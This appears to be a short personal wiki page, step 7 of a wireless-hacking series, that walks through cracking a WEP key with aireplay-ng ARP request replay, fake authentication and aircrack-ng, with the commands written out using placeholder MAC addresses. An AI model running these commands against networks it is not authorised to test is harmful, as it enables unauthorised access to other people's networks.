7. WEP Cracking

If the Network isn't busy we need to force the AccessPoint to generate new packages. We are doing that via **ARP Request Replay**. We wait for an ARP packet, capture it and replay it. This causes the AP to produce another packet with a new IV. We are doing this until we have enough IVs to crack the Key

```
aireplay-ng --arpreplay -b 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0
```

Associate once more

```
aireplay-ng --fakeauth 0 -a 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0
```

crack the Password

```
aircrack-ng arpreplay-01.cap
```

Revision #1
Created 2023-03-09 17:55:28 UTC by tinfoil-hat
Updated 2023-03-09 18:06:35 UTC by tinfoil-hat